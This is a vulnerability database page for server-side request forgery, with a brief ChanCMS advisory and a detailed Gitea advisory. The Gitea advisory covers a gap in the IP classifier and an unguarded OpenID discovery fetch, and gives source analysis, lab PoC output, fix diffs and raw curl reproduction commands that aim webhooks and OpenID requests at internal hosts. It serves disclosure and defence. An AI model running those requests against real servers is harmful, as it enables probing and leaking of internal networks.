Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4735 vulnerabilities reference this CWE, most recent first.

GHSA-2F88-7653-V86F

Vulnerability from github – Published: 2025-09-10 21:30 – Updated: 2025-09-10 21:30
VLAI
Details

A security vulnerability has been detected in yanyutao0402 ChanCMS 3.3.0. The affected element is the function CollectController of the file /cms/collect/getArticle. The manipulation of the argument taskUrl leads to server-side request forgery. The attack may be initiated remotely. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-10211"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-10T20:15:33Z",
    "severity": "MODERATE"
  },
  "details": "A security vulnerability has been detected in yanyutao0402 ChanCMS 3.3.0. The affected element is the function CollectController of the file /cms/collect/getArticle. The manipulation of the argument taskUrl leads to server-side request forgery. The attack may be initiated remotely. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-2f88-7653-v86f",
  "modified": "2025-09-10T21:30:19Z",
  "published": "2025-09-10T21:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10211"
    },
    {
      "type": "WEB",
      "url": "https://github.com/August829/Yu/blob/main/58ead8e7e08bfb0e7.md"
    },
    {
      "type": "WEB",
      "url": "https://github.com/August829/Yu/blob/main/58ead8e7e08bfb0e7.md#poc"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.323484"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.323484"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.639779"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-2FCR-JFVC-VGG2

Vulnerability from github – Published: 2026-07-21 21:16 – Updated: 2026-07-21 21:16
VLAI
Summary
Gitea: Two SSRF findings
Details

| --- | --- | | Versions tested | gitea/gitea:1.26.2 (digest sha256:7d13848af12645600a5f9d93ee2560daa9c6fa6b5b859b7bff3a5e1c0b661031); gitea/gitea:latest resolves to the same digest at time of writing | | Source review | git checkout v1.26.2 (commit 2c749ce) | | Reproduction | bash run_poc.sh (single shot: brings up containers, runs three PoCs, prints captured evidence, tears down on exit) | | Files touched by the fixes | modules/hostmatcher/hostmatcher.go, modules/auth/openid/openid.go |

Summary

Gitea guards outbound HTTP from webhooks and repo migration with net.Dialer.Control, the correct hook point. The IP classifier behind it misses ten address families, of which CGNAT (100.64.0.0/10) is the practically important one because it is plain IPv4 and is used today by Tailscale, AWS VPC secondary CIDRs, and several Kubernetes pod-CIDR conventions. Any logged-in user can create a webhook pointing at an internal CGNAT host. The full HTTP response from that host (status, headers, body up to 1 MB) is stored in the webhook delivery log and rendered to the webhook owner on the hook detail page. The same gap applies to repo migration.

Separately, the OpenID sign-in form at /user/login/openid fetches the user-supplied provider URL server-side via openid-go, which uses http.DefaultClient. No hostmatcher, no IP filter, no CSRF, no authentication. When OpenID sign-in is enabled, anyone on the internet can drive Gitea into making arbitrary GET requests against internal IPs.

Both reproduce on gitea/gitea:1.26.2 (current stable) in default configuration. The bundled run_poc.sh reproduces all three primitives end-to-end in about one minute and tears the lab down at exit.


Finding 1: hostmatcher classifier passes CGNAT and IPv6 transition prefixes

The bug

modules/hostmatcher/hostmatcher.go:107-119, the external builtin:

case MatchBuiltinExternal:
    if ip.IsGlobalUnicast() && !ip.IsPrivate() {
        return true
    }

IsGlobalUnicast() && !IsPrivate() was written for stack bookkeeping, not as a security boundary. It catches RFC 1918, RFC 4193 ULA, link-local, loopback, and the IPv4-mapped ::ffff:0:0/96 prefix (because IsPrivate un-embeds that range via net.IP.To4()). Every other IPv6 transition prefix returns nil from To4(), so the embedded IPv4 is invisible to the classifier.

Address families that pass the guard, verified live on 1.26.2:

Family Example Why missed
CGNAT, RFC 6598 100.64.0.1 IsPrivate() checks 10/8, 172.16/12, 192.168/16 only
NAT64 well-known, RFC 6052 64:ff9b::7f00:1 To4() un-embeds only ::ffff:0:0/96
NAT64 local-use, RFC 8215 64:ff9b:1::1 same
6to4, RFC 3056 2002:7f00:1:: same
Teredo, RFC 4380 2001::abcd same
IPv4-compatible ::169.254.169.254 same
SIIT, RFC 6145 ::ffff:0:7f00:1 same
Documentation 2001:db8::1 same
Benchmarking, RFC 2544 198.18.0.1 not in any private check
TEST-NET, RFC 5737 192.0.2.1 same

CGNAT is the one that needs no IPv6 infrastructure. The 100.64.0.0/10 block overlaps with Tailscale (100.x), AWS VPC secondary CIDRs, and several Kubernetes pod-CIDR conventions. Any Gitea instance that shares a network with services on a CGNAT address is exploitable in default config.

NAT64, 6to4, Teredo, and SIIT need the matching gateway on the network to actually carry the packet. The guard still passes the address, so the bug is real at the guard layer; impact depends on whether the deployment has the corresponding transition mechanism. Lab confirmed: the guard passes, the connection then fails with network is unreachable on a stock Linux box.

The wrapping net.Dialer.Control callback is structurally correct (fires per redirect hop, post-DNS, pre-connect). The classifier is the only broken part.

Reachable sinks

Webhook delivery, services/webhook/deliver.go:

// :321-328
webhookHTTPClient = &http.Client{
    Timeout: timeout,
    Transport: &http.Transport{
        TLSClientConfig: &tls.Config{InsecureSkipVerify: setting.Webhook.SkipTLSVerify},
        Proxy:           webhookProxy(allowedHostMatcher),
        DialContext:     hostmatcher.NewDialContext("webhook", allowedHostMatcher, nil, setting.Webhook.ProxyURLFixed),
    },
}

Authentication required: any logged-in user via user-level hooks (POST /api/v1/user/hooks) or repo-admin via repo-level hooks. The response body is captured up to 1 MB:

// :268
p, err := util.ReadWithLimit(resp.Body, 1024*1024)

and stored in hook_task.response_content, then rendered on /{owner}/{repo}/settings/hooks/{id}.

Repo migration, services/migrations/http_client.go:27:

DialContext: hostmatcher.NewDialContext("migration", allowList, blockList, setting.Proxy.ProxyURLFixed),

with a pre-flight check at services/migrations/migrate.go:43-87 (IsMigrateURLAllowed). Both layers call the same MatchIPAddr, so the pre-flight does not add coverage for the classifier gap.

History

Residual of CVE-2018-15192. The hostmatcher module landed in PR #17482 (2021) with external as the default. The classifier gap has been present from that PR.

Reproduce

run_poc.sh is the one-shot reproduction. It pulls gitea/gitea:1.26.2, brings up a Docker network on 100.64.0.0/24 with a mock internal service at 100.64.0.2:8080, creates a non-admin user, runs all three PoCs, runs a sanity check that confirms RFC 1918 / loopback / ULA / link-local are still blocked, and tears the lab down at exit.

Expected console output (trimmed):

[poc 1] webhook to CGNAT internal service (100.64.0.2:8080)
  ok  created webhook id=1, default ALLOWED_HOST_LIST (external builtin) allowed the CGNAT URL
  internal response captured in hook_task.response_content:
    {"status":200,
     "headers":{"X-Internal-Secret":"CGNAT-INTERNAL-ONLY",
                "Content-Type":"application/json", ...},
     "body":"{\"proof\": \"CGNAT_INTERNAL_SERVICE_RESPONSE_BODY\",
              \"client_seen\": \"100.64.0.10\",
              \"secret\": \"do-not-leak-outside-network\"}"}
  ok  headline confirmed: X-Internal-Secret header reflected to webhook owner

[poc 2] migration clone from CGNAT (http://100.64.0.2:8080/fake.git)
  migrate API returned HTTP 201
  mock log:
    GET /fake.git/info/refs?service=git-upload-pack  from=100.64.0.10
    GET /fake.git/HEAD  from=100.64.0.10
  ok  git smart-HTTP exchange from gitea -> 100.64.0.2 confirmed

[sanity] verify the guard still rejects RFC 1918 / loopback / link-local
  ok  loopback v4   (http://127.0.0.1:8080/)    blocked
  ok  RFC 1918      (http://10.0.0.1:8080/)     blocked
  ok  loopback v6   (http://[::1]:8080/)        blocked
  ok  ULA           (http://[fc00::1]:8080/)    blocked
  ok  link-local v4 (http://169.254.169.254/)   blocked

Boiled down to raw HTTP, the webhook primitive is three calls:

TOKEN=$(curl -s -u attacker:pw -X POST \
  http://localhost:3000/api/v1/users/attacker/tokens \
  -H 'Content-Type: application/json' \
  -d '{"name":"poc","scopes":["write:repository","write:user"]}' \
  | sed -n 's/.*"sha1":"\([^"]*\)".*/\1/p')

curl -X POST http://localhost:3000/api/v1/repos/attacker/ssrf-lab/hooks \
  -H "Authorization: token $TOKEN" -H 'Content-Type: application/json' \
  -d '{"type":"gitea",
       "config":{"url":"http://100.64.0.2:8080/internal","content_type":"json"},
       "events":["push"],"active":true}'

curl -X POST http://localhost:3000/api/v1/repos/attacker/ssrf-lab/hooks/1/tests \
  -H "Authorization: token $TOKEN"

The internal target's response is then visible on /{owner}/{repo}/settings/hooks/1, or in the SQLite column hook_task.response_content.

Suggested fix

Add an explicit non-routable prefix list to the external builtin:

--- a/modules/hostmatcher/hostmatcher.go
+++ b/modules/hostmatcher/hostmatcher.go
@@ -3,8 +3,9 @@ package hostmatcher

 import (
    "net"
+   "net/netip"
    "path/filepath"
    "slices"
    "strings"
 )

+var nonRoutablePrefixes = []netip.Prefix{
+   netip.MustParsePrefix("100.64.0.0/10"),   // CGNAT, RFC 6598
+   netip.MustParsePrefix("64:ff9b::/96"),    // NAT64 well-known, RFC 6052
+   netip.MustParsePrefix("64:ff9b:1::/48"),  // NAT64 local-use, RFC 8215
+   netip.MustParsePrefix("2001::/32"),       // Teredo, RFC 4380
+   netip.MustParsePrefix("2002::/16"),       // 6to4, RFC 3056
+   netip.MustParsePrefix("::ffff:0:0/96"),   // SIIT (deprecated, still routable through translators)
+   netip.MustParsePrefix("::/96"),           // IPv4-compatible (deprecated)
+   netip.MustParsePrefix("2001:db8::/32"),   // documentation
+   netip.MustParsePrefix("198.18.0.0/15"),   // benchmarking
+   netip.MustParsePrefix("192.0.0.0/24"),    // IETF protocol assignments
+   netip.MustParsePrefix("192.0.2.0/24"),    // TEST-NET-1
+   netip.MustParsePrefix("198.51.100.0/24"), // TEST-NET-2
+   netip.MustParsePrefix("203.0.113.0/24"),  // TEST-NET-3
+}
+
+func isNonRoutable(ip net.IP) bool {
+   a, ok := netip.AddrFromSlice(ip)
+   if !ok {
+       return true
+   }
+   for _, p := range nonRoutablePrefixes {
+       if p.Contains(a) {
+           return true
+       }
+   }
+   return false
+}
+
 func (hl *HostMatchList) checkIP(ip net.IP) bool {
    if slices.Contains(hl.patterns, "*") {
        return true
    }
    for _, builtin := range hl.builtins {
        switch builtin {
        case MatchBuiltinExternal:
-           if ip.IsGlobalUnicast() && !ip.IsPrivate() {
+           if ip.IsGlobalUnicast() && !ip.IsPrivate() && !isNonRoutable(ip) {
                return true
            }

hostmatcher_test.go currently has zero cases for any of the ten families. Suggested additions: at least one IPv4 (CGNAT 100.64.0.1) and four IPv6 (NAT64 well-known, NAT64 local-use, 6to4, IPv4-compatible).


Finding 2: OpenID discovery has no SSRF guard

The bug

routers/web/auth/openid.go:99:

url, err := openid.RedirectURL(id, redirectTo, setting.AppURL)

The thin wrapper at modules/auth/openid/openid.go:36 forwards directly to the package-level function in github.com/yohcop/openid-go. That package keeps a defaultInstance:

// github.com/yohcop/openid-go v1.0.1, openid.go:15
var defaultInstance = NewOpenID(http.DefaultClient)

http.DefaultClient has no transport customization, no Dialer.Control, no IP filtering. openid-go issues a server-side GET to the user-supplied URL to discover the OpenID endpoint. The fetch reaches any address Gitea can route to, including loopback, RFC 1918, link-local, and the same families listed in Finding 1.

The form does not enforce CSRF on this path. The endpoint accepts unauthenticated requests by design (it is the login page).

Default exposure

The setting that gates this endpoint is read from the [openid] section of app.ini:

// modules/setting/service.go:268-270
func loadOpenIDSetting(rootCfg ConfigProvider) {
    sec := rootCfg.Section("openid")
    Service.EnableOpenIDSignIn = sec.Key("ENABLE_OPENID_SIGNIN").MustBool(!InstallLock)

It defaults to !InstallLock, so on a fresh container before the install wizard completes the endpoint is enabled. After INSTALL_LOCK=true it defaults off. Deployments that use OpenID for SSO set it explicitly. (Note for anyone reproducing in Docker: the entrypoint routes GITEA__service__ENABLE_OPENID_SIGNIN into [service], where the loader does not read it. Use GITEA__openid__ENABLE_OPENID_SIGNIN=true.)

History

Extends CVE-2021-45325. The 2019 fix (PR #5705) hid the error string that previously leaked internal topology to the requester. It did not add filtering to the discovery fetch itself. The underlying SSRF primitive remains.

Reproduce

One request, no cookie, no token:

curl -X POST http://localhost:3000/user/login/openid \
  --data-urlencode 'openid=http://INTERNAL:PORT/path'

Captured by the internal target (also shown in run_poc.sh's [poc 3] block):

GET /poc3-openid  from=100.64.0.10
GET /poc3-openid  from=100.64.0.10

Two GETs (one for normalize, one for redirect-URL discovery), both unauthenticated, both with Accept: application/xrds+xml.

Exfiltration is blind. openid-go parses the response as XRDS or HTML for endpoint discovery and does not return the body to the caller. Useful for internal port scanning, IMDS probing, and timing oracles. Lower direct impact than Finding 1, but reachable without an account.

Suggested fix

Wire the hostmatcher into a custom *http.Client and create a dedicated openid-go instance:

--- a/modules/auth/openid/openid.go
+++ b/modules/auth/openid/openid.go
@@ -1,10 +1,28 @@
 package openid

-import "github.com/yohcop/openid-go"
+import (
+   "net/http"
+   "time"
+
+   "code.gitea.io/gitea/modules/hostmatcher"
+   "code.gitea.io/gitea/modules/proxy"
+   "github.com/yohcop/openid-go"
+)

 var (
    nonceStore     = openid.NewSimpleNonceStore()
    discoveryCache = newTimedDiscoveryCache(24 * time.Hour)
+   instance       = openid.NewOpenID(&http.Client{
+       Timeout: 30 * time.Second,
+       Transport: &http.Transport{
+           Proxy: proxy.Proxy(),
+           DialContext: hostmatcher.NewDialContext("openid",
+               hostmatcher.ParseHostMatchList("openid", hostmatcher.MatchBuiltinExternal),
+               nil, nil),
+       },
+   })
 )

 func Verify(fullURL string) (id string, err error) {
-   return openid.Verify(fullURL, discoveryCache, nonceStore)
+   return instance.Verify(fullURL, discoveryCache, nonceStore)
 }

 // RedirectURL redirects browser
 func RedirectURL(id, callbackURL, realm string) (string, error) {
-   return openid.RedirectURL(id, callbackURL, realm)
+   return instance.RedirectURL(id, callbackURL, realm)
 }

openid.Normalize does not perform HTTP and does not need to change. Once Finding 1 is fixed, this MatchBuiltinExternal instance picks up the new prefix coverage automatically.


POC script

run_poc.sh

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.gitea.io/gitea"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.27.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-58314"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-21T21:16:00Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "| --- | --- |\n| Versions tested | `gitea/gitea:1.26.2` (digest `sha256:7d13848af12645600a5f9d93ee2560daa9c6fa6b5b859b7bff3a5e1c0b661031`); `gitea/gitea:latest` resolves to the same digest at time of writing |\n| Source review | `git checkout v1.26.2` (commit `2c749ce`) |\n| Reproduction | `bash run_poc.sh` (single shot: brings up containers, runs three PoCs, prints captured evidence, tears down on exit) |\n| Files touched by the fixes | `modules/hostmatcher/hostmatcher.go`, `modules/auth/openid/openid.go` |\n\n## Summary\n\nGitea guards outbound HTTP from webhooks and repo migration with `net.Dialer.Control`, the correct hook point. The IP classifier behind it misses ten address families, of which CGNAT (100.64.0.0/10) is the practically important one because it is plain IPv4 and is used today by Tailscale, AWS VPC secondary CIDRs, and several Kubernetes pod-CIDR conventions. Any logged-in user can create a webhook pointing at an internal CGNAT host. The full HTTP response from that host (status, headers, body up to 1 MB) is stored in the webhook delivery log and rendered to the webhook owner on the hook detail page. The same gap applies to repo migration.\n\nSeparately, the OpenID sign-in form at `/user/login/openid` fetches the user-supplied provider URL server-side via `openid-go`, which uses `http.DefaultClient`. No `hostmatcher`, no IP filter, no CSRF, no authentication. When OpenID sign-in is enabled, anyone on the internet can drive Gitea into making arbitrary GET requests against internal IPs.\n\nBoth reproduce on `gitea/gitea:1.26.2` (current stable) in default configuration. The bundled `run_poc.sh` reproduces all three primitives end-to-end in about one minute and tears the lab down at exit.\n\n---\n\n## Finding 1: hostmatcher classifier passes CGNAT and IPv6 transition prefixes\n\n### The bug\n\n`modules/hostmatcher/hostmatcher.go:107-119`, the `external` builtin:\n\n```go\ncase MatchBuiltinExternal:\n    if ip.IsGlobalUnicast() \u0026\u0026 !ip.IsPrivate() {\n        return true\n    }\n```\n\n`IsGlobalUnicast() \u0026\u0026 !IsPrivate()` was written for stack bookkeeping, not as a security boundary. It catches RFC 1918, RFC 4193 ULA, link-local, loopback, and the IPv4-mapped `::ffff:0:0/96` prefix (because `IsPrivate` un-embeds that range via `net.IP.To4()`). Every other IPv6 transition prefix returns nil from `To4()`, so the embedded IPv4 is invisible to the classifier.\n\nAddress families that pass the guard, verified live on 1.26.2:\n\n| Family | Example | Why missed |\n| --- | --- | --- |\n| CGNAT, RFC 6598 | `100.64.0.1` | `IsPrivate()` checks 10/8, 172.16/12, 192.168/16 only |\n| NAT64 well-known, RFC 6052 | `64:ff9b::7f00:1` | `To4()` un-embeds only `::ffff:0:0/96` |\n| NAT64 local-use, RFC 8215 | `64:ff9b:1::1` | same |\n| 6to4, RFC 3056 | `2002:7f00:1::` | same |\n| Teredo, RFC 4380 | `2001::abcd` | same |\n| IPv4-compatible | `::169.254.169.254` | same |\n| SIIT, RFC 6145 | `::ffff:0:7f00:1` | same |\n| Documentation | `2001:db8::1` | same |\n| Benchmarking, RFC 2544 | `198.18.0.1` | not in any private check |\n| TEST-NET, RFC 5737 | `192.0.2.1` | same |\n\nCGNAT is the one that needs no IPv6 infrastructure. The 100.64.0.0/10 block overlaps with Tailscale (100.x), AWS VPC secondary CIDRs, and several Kubernetes pod-CIDR conventions. Any Gitea instance that shares a network with services on a CGNAT address is exploitable in default config.\n\nNAT64, 6to4, Teredo, and SIIT need the matching gateway on the network to actually carry the packet. The guard still passes the address, so the bug is real at the guard layer; impact depends on whether the deployment has the corresponding transition mechanism. Lab confirmed: the guard passes, the connection then fails with `network is unreachable` on a stock Linux box.\n\nThe wrapping `net.Dialer.Control` callback is structurally correct (fires per redirect hop, post-DNS, pre-connect). The classifier is the only broken part.\n\n### Reachable sinks\n\nWebhook delivery, `services/webhook/deliver.go`:\n\n```go\n// :321-328\nwebhookHTTPClient = \u0026http.Client{\n    Timeout: timeout,\n    Transport: \u0026http.Transport{\n        TLSClientConfig: \u0026tls.Config{InsecureSkipVerify: setting.Webhook.SkipTLSVerify},\n        Proxy:           webhookProxy(allowedHostMatcher),\n        DialContext:     hostmatcher.NewDialContext(\"webhook\", allowedHostMatcher, nil, setting.Webhook.ProxyURLFixed),\n    },\n}\n```\n\nAuthentication required: any logged-in user via user-level hooks (`POST /api/v1/user/hooks`) or repo-admin via repo-level hooks. The response body is captured up to 1 MB:\n\n```go\n// :268\np, err := util.ReadWithLimit(resp.Body, 1024*1024)\n```\n\nand stored in `hook_task.response_content`, then rendered on `/{owner}/{repo}/settings/hooks/{id}`.\n\nRepo migration, `services/migrations/http_client.go:27`:\n\n```go\nDialContext: hostmatcher.NewDialContext(\"migration\", allowList, blockList, setting.Proxy.ProxyURLFixed),\n```\n\nwith a pre-flight check at `services/migrations/migrate.go:43-87` (`IsMigrateURLAllowed`). Both layers call the same `MatchIPAddr`, so the pre-flight does not add coverage for the classifier gap.\n\n### History\n\nResidual of CVE-2018-15192. The `hostmatcher` module landed in PR #17482 (2021) with `external` as the default. The classifier gap has been present from that PR.\n\n### Reproduce\n\n`run_poc.sh` is the one-shot reproduction. It pulls `gitea/gitea:1.26.2`, brings up a Docker network on `100.64.0.0/24` with a mock internal service at `100.64.0.2:8080`, creates a non-admin user, runs all three PoCs, runs a sanity check that confirms RFC 1918 / loopback / ULA / link-local are still blocked, and tears the lab down at exit.\n\nExpected console output (trimmed):\n\n```\n[poc 1] webhook to CGNAT internal service (100.64.0.2:8080)\n  ok  created webhook id=1, default ALLOWED_HOST_LIST (external builtin) allowed the CGNAT URL\n  internal response captured in hook_task.response_content:\n    {\"status\":200,\n     \"headers\":{\"X-Internal-Secret\":\"CGNAT-INTERNAL-ONLY\",\n                \"Content-Type\":\"application/json\", ...},\n     \"body\":\"{\\\"proof\\\": \\\"CGNAT_INTERNAL_SERVICE_RESPONSE_BODY\\\",\n              \\\"client_seen\\\": \\\"100.64.0.10\\\",\n              \\\"secret\\\": \\\"do-not-leak-outside-network\\\"}\"}\n  ok  headline confirmed: X-Internal-Secret header reflected to webhook owner\n\n[poc 2] migration clone from CGNAT (http://100.64.0.2:8080/fake.git)\n  migrate API returned HTTP 201\n  mock log:\n    GET /fake.git/info/refs?service=git-upload-pack  from=100.64.0.10\n    GET /fake.git/HEAD  from=100.64.0.10\n  ok  git smart-HTTP exchange from gitea -\u003e 100.64.0.2 confirmed\n\n[sanity] verify the guard still rejects RFC 1918 / loopback / link-local\n  ok  loopback v4   (http://127.0.0.1:8080/)    blocked\n  ok  RFC 1918      (http://10.0.0.1:8080/)     blocked\n  ok  loopback v6   (http://[::1]:8080/)        blocked\n  ok  ULA           (http://[fc00::1]:8080/)    blocked\n  ok  link-local v4 (http://169.254.169.254/)   blocked\n```\n\nBoiled down to raw HTTP, the webhook primitive is three calls:\n\n```bash\nTOKEN=$(curl -s -u attacker:pw -X POST \\\n  http://localhost:3000/api/v1/users/attacker/tokens \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"name\":\"poc\",\"scopes\":[\"write:repository\",\"write:user\"]}\u0027 \\\n  | sed -n \u0027s/.*\"sha1\":\"\\([^\"]*\\)\".*/\\1/p\u0027)\n\ncurl -X POST http://localhost:3000/api/v1/repos/attacker/ssrf-lab/hooks \\\n  -H \"Authorization: token $TOKEN\" -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"type\":\"gitea\",\n       \"config\":{\"url\":\"http://100.64.0.2:8080/internal\",\"content_type\":\"json\"},\n       \"events\":[\"push\"],\"active\":true}\u0027\n\ncurl -X POST http://localhost:3000/api/v1/repos/attacker/ssrf-lab/hooks/1/tests \\\n  -H \"Authorization: token $TOKEN\"\n```\n\nThe internal target\u0027s response is then visible on `/{owner}/{repo}/settings/hooks/1`, or in the SQLite column `hook_task.response_content`.\n\n### Suggested fix\n\nAdd an explicit non-routable prefix list to the `external` builtin:\n\n```diff\n--- a/modules/hostmatcher/hostmatcher.go\n+++ b/modules/hostmatcher/hostmatcher.go\n@@ -3,8 +3,9 @@ package hostmatcher\n\n import (\n \t\"net\"\n+\t\"net/netip\"\n \t\"path/filepath\"\n \t\"slices\"\n \t\"strings\"\n )\n\n+var nonRoutablePrefixes = []netip.Prefix{\n+\tnetip.MustParsePrefix(\"100.64.0.0/10\"),   // CGNAT, RFC 6598\n+\tnetip.MustParsePrefix(\"64:ff9b::/96\"),    // NAT64 well-known, RFC 6052\n+\tnetip.MustParsePrefix(\"64:ff9b:1::/48\"),  // NAT64 local-use, RFC 8215\n+\tnetip.MustParsePrefix(\"2001::/32\"),       // Teredo, RFC 4380\n+\tnetip.MustParsePrefix(\"2002::/16\"),       // 6to4, RFC 3056\n+\tnetip.MustParsePrefix(\"::ffff:0:0/96\"),   // SIIT (deprecated, still routable through translators)\n+\tnetip.MustParsePrefix(\"::/96\"),           // IPv4-compatible (deprecated)\n+\tnetip.MustParsePrefix(\"2001:db8::/32\"),   // documentation\n+\tnetip.MustParsePrefix(\"198.18.0.0/15\"),   // benchmarking\n+\tnetip.MustParsePrefix(\"192.0.0.0/24\"),    // IETF protocol assignments\n+\tnetip.MustParsePrefix(\"192.0.2.0/24\"),    // TEST-NET-1\n+\tnetip.MustParsePrefix(\"198.51.100.0/24\"), // TEST-NET-2\n+\tnetip.MustParsePrefix(\"203.0.113.0/24\"),  // TEST-NET-3\n+}\n+\n+func isNonRoutable(ip net.IP) bool {\n+\ta, ok := netip.AddrFromSlice(ip)\n+\tif !ok {\n+\t\treturn true\n+\t}\n+\tfor _, p := range nonRoutablePrefixes {\n+\t\tif p.Contains(a) {\n+\t\t\treturn true\n+\t\t}\n+\t}\n+\treturn false\n+}\n+\n func (hl *HostMatchList) checkIP(ip net.IP) bool {\n \tif slices.Contains(hl.patterns, \"*\") {\n \t\treturn true\n \t}\n \tfor _, builtin := range hl.builtins {\n \t\tswitch builtin {\n \t\tcase MatchBuiltinExternal:\n-\t\t\tif ip.IsGlobalUnicast() \u0026\u0026 !ip.IsPrivate() {\n+\t\t\tif ip.IsGlobalUnicast() \u0026\u0026 !ip.IsPrivate() \u0026\u0026 !isNonRoutable(ip) {\n \t\t\t\treturn true\n \t\t\t}\n```\n\n`hostmatcher_test.go` currently has zero cases for any of the ten families. Suggested additions: at least one IPv4 (CGNAT 100.64.0.1) and four IPv6 (NAT64 well-known, NAT64 local-use, 6to4, IPv4-compatible).\n\n---\n\n## Finding 2: OpenID discovery has no SSRF guard\n\n### The bug\n\n`routers/web/auth/openid.go:99`:\n\n```go\nurl, err := openid.RedirectURL(id, redirectTo, setting.AppURL)\n```\n\nThe thin wrapper at `modules/auth/openid/openid.go:36` forwards directly to the package-level function in `github.com/yohcop/openid-go`. That package keeps a `defaultInstance`:\n\n```go\n// github.com/yohcop/openid-go v1.0.1, openid.go:15\nvar defaultInstance = NewOpenID(http.DefaultClient)\n```\n\n`http.DefaultClient` has no transport customization, no `Dialer.Control`, no IP filtering. `openid-go` issues a server-side GET to the user-supplied URL to discover the OpenID endpoint. The fetch reaches any address Gitea can route to, including loopback, RFC 1918, link-local, and the same families listed in Finding 1.\n\nThe form does not enforce CSRF on this path. The endpoint accepts unauthenticated requests by design (it is the login page).\n\n### Default exposure\n\nThe setting that gates this endpoint is read from the `[openid]` section of `app.ini`:\n\n```go\n// modules/setting/service.go:268-270\nfunc loadOpenIDSetting(rootCfg ConfigProvider) {\n\tsec := rootCfg.Section(\"openid\")\n\tService.EnableOpenIDSignIn = sec.Key(\"ENABLE_OPENID_SIGNIN\").MustBool(!InstallLock)\n```\n\nIt defaults to `!InstallLock`, so on a fresh container before the install wizard completes the endpoint is enabled. After `INSTALL_LOCK=true` it defaults off. Deployments that use OpenID for SSO set it explicitly. (Note for anyone reproducing in Docker: the entrypoint routes `GITEA__service__ENABLE_OPENID_SIGNIN` into `[service]`, where the loader does not read it. Use `GITEA__openid__ENABLE_OPENID_SIGNIN=true`.)\n\n### History\n\nExtends CVE-2021-45325. The 2019 fix (PR #5705) hid the error string that previously leaked internal topology to the requester. It did not add filtering to the discovery fetch itself. The underlying SSRF primitive remains.\n\n### Reproduce\n\nOne request, no cookie, no token:\n\n```bash\ncurl -X POST http://localhost:3000/user/login/openid \\\n  --data-urlencode \u0027openid=http://INTERNAL:PORT/path\u0027\n```\n\nCaptured by the internal target (also shown in `run_poc.sh`\u0027s `[poc 3]` block):\n\n```\nGET /poc3-openid  from=100.64.0.10\nGET /poc3-openid  from=100.64.0.10\n```\n\nTwo GETs (one for normalize, one for redirect-URL discovery), both unauthenticated, both with `Accept: application/xrds+xml`.\n\nExfiltration is blind. `openid-go` parses the response as XRDS or HTML for endpoint discovery and does not return the body to the caller. Useful for internal port scanning, IMDS probing, and timing oracles. Lower direct impact than Finding 1, but reachable without an account.\n\n### Suggested fix\n\nWire the `hostmatcher` into a custom `*http.Client` and create a dedicated `openid-go` instance:\n\n```diff\n--- a/modules/auth/openid/openid.go\n+++ b/modules/auth/openid/openid.go\n@@ -1,10 +1,28 @@\n package openid\n\n-import \"github.com/yohcop/openid-go\"\n+import (\n+\t\"net/http\"\n+\t\"time\"\n+\n+\t\"code.gitea.io/gitea/modules/hostmatcher\"\n+\t\"code.gitea.io/gitea/modules/proxy\"\n+\t\"github.com/yohcop/openid-go\"\n+)\n\n var (\n \tnonceStore     = openid.NewSimpleNonceStore()\n \tdiscoveryCache = newTimedDiscoveryCache(24 * time.Hour)\n+\tinstance       = openid.NewOpenID(\u0026http.Client{\n+\t\tTimeout: 30 * time.Second,\n+\t\tTransport: \u0026http.Transport{\n+\t\t\tProxy: proxy.Proxy(),\n+\t\t\tDialContext: hostmatcher.NewDialContext(\"openid\",\n+\t\t\t\thostmatcher.ParseHostMatchList(\"openid\", hostmatcher.MatchBuiltinExternal),\n+\t\t\t\tnil, nil),\n+\t\t},\n+\t})\n )\n\n func Verify(fullURL string) (id string, err error) {\n-\treturn openid.Verify(fullURL, discoveryCache, nonceStore)\n+\treturn instance.Verify(fullURL, discoveryCache, nonceStore)\n }\n\n // RedirectURL redirects browser\n func RedirectURL(id, callbackURL, realm string) (string, error) {\n-\treturn openid.RedirectURL(id, callbackURL, realm)\n+\treturn instance.RedirectURL(id, callbackURL, realm)\n }\n```\n\n`openid.Normalize` does not perform HTTP and does not need to change. Once Finding 1 is fixed, this `MatchBuiltinExternal` instance picks up the new prefix coverage automatically.\n\n---\n\n## POC script\n[run_poc.sh](https://github.com/user-attachments/files/28193359/run_poc.sh)",
  "id": "GHSA-2fcr-jfvc-vgg2",
  "modified": "2026-07-21T21:16:00Z",
  "published": "2026-07-21T21:16:00Z",
  "references": [
    {
      "type": "WEB",
